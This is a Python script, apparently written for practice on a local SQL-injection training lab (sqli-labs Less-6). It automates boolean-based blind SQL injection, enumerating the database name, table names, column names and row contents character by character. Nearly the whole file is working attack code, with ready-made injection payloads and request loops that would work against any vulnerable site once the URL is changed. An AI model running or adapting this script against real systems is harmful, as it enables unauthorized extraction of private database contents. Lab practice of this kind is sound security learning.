1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
|
import requests
requests.adapters.DEFAULT_RETRIES = 5
conn = requests.session()
conn.keep_alive = False
def GetDBName(url, flag):
DBName = ''
print("开始获取数据库名长度...")
len = 0
for l in range(1,99):
print("[+] 尝试长度：" + ascii(l))
payload = f" and length((select database()))={l}--+"
res = conn.get(url=url+payload)
# print(res.content)
if flag in res.content.decode("utf-8"):
print("数据库名长度为："+str(l))
len = l
break
print("开始获取数据库名...")
for i in range(1, len+1):
for j in range(33, 127):
# print("[+] Try " + ascii(j))
payload = f" and ascii(substr((select database()),{i},1))={j}--+"
res = conn.get(url=url+payload)
if flag in res.content.decode("utf-8"):
DBName += chr(j)
print(DBName)
break
return DBName
def GetTables(url,db):
print("正在获取数据表数量")
tnum = 0
t_len = 0
tname = ""
for i in range(1,50):
payload = f" and (select count(*)table_name from information_schema.tables where table_schema=database())={i}--+"
res = conn.get(url=url + payload)
if flag in res.content.decode("utf-8"):
tnum = i
print(f"共有{i}张表")
break
for i in range(0,tnum):
for n in range(1,50):
payload = f" and length(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),1))={n}--+"
res = conn.get(url=url + payload)
if flag in res.content.decode("utf-8"):
print(f"第{i+1}张表的长度为{n}")
t_len = n
break
for l in range(1,t_len+1):
for j in range(33,127):
payload = f"' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{l},1))={j}--+"
res = conn.get(url=url + payload)
if flag in res.content.decode("utf-8"):
tname += chr(j)
print(tname)
break
tname += ','
result_list = tname[:-1].split(",")
return result_list
def GetColumn(url, tableName):
print("正在获取字段数量")
cnum = 0
c_len = 0
cname = ""
for i in range(1, 50):
payload = f" and (select count(*) from information_schema.columns where table_name='{tableName}')={i}--+"
res = conn.get(url=url + payload)
if flag in res.content.decode("utf-8"):
cnum = i
print(f"共有{i}字段")
break
for i in range(0, cnum):
for n in range(1, 50):
payload = f" and length(substr((select column_name from information_schema.columns where table_name='{tableName}' limit {i},1),1))={n}--+"
res = conn.get(url=url + payload)
if flag in res.content.decode("utf-8"):
print(f"第{i + 1}个字段的长度为{n}")
c_len = n
break
for l in range(1, c_len + 1):
for j in range(33, 127):
payload = f" and ascii(substr((select column_name from information_schema.columns where table_name='{tableName}' limit {i},1),{l},1))={j}--+"
res = conn.get(url=url + payload)
if flag in res.content.decode("utf-8"):
cname += chr(j)
print(cname)
break
cname += ','
result_list = cname[:-1].split(",")
return result_list
def GetColumnData(url, columnName, tableName):
print(f"正在获取表 {tableName} 中字段 {columnName} 的数据内容")
data_count = 0
data_len = 0
data_content = ""
# 首先获取表中该字段的所有数据行的数量
for i in range(1, 50):
payload = f" and (select count(*) from {tableName})={i}--+"
res = conn.get(url=url + payload)
if flag in res.content.decode("utf-8"):
data_count = i
print(f"字段 {columnName} 中共有 {i} 行数据")
break
# 然后逐行获取每条数据的长度和内容
for i in range(0, data_count):
# 获取每条数据的长度
for n in range(1, 50):
payload = f" and length((select {columnName} from {tableName} limit {i}, 1))={n}--+"
res = conn.get(url=url + payload)
if flag in res.content.decode("utf-8"):
print(f"第 {i + 1} 行数据的长度为 {n}")
data_len = n
break
# 获取每条数据的具体内容
row_data = ""
for l in range(1, data_len + 1):
for j in range(33, 127): # 遍历 ASCII 字符集
payload = f" and ascii(substr((select {columnName} from {tableName} limit {i}, 1), {l}, 1))={j}--+"
res = conn.get(url=url + payload)
if flag in res.content.decode("utf-8"):
row_data += chr(j)
print(f"当前数据: {row_data}")
break
data_content += row_data + "\n"
return data_content
def chooseTable():
tableName = input("请输入要继续查询的表格名字: ")
return tableName
def chooseColumn():
columnName = input("请输入要继续查询的字段名字:[输入0以结束] ")
return columnName
if __name__ == '__main__':
url = "http://localhost:8977/Less-6/?id=1\"" # 记得闭合好
flag = "You are in..........."
DBName = GetDBName(url, flag)
result_list1 = GetTables(url, DBName)
print(result_list1)
choosenTableName = chooseTable()
result_list2 = GetColumn(url, choosenTableName)
choosenColumnName = ''
while choosenColumnName != "0":
print(result_list2)
choosenColumnName = chooseColumn()
GetColumnData(url, choosenColumnName, choosenTableName)
|
Ting included in Web · 2024做题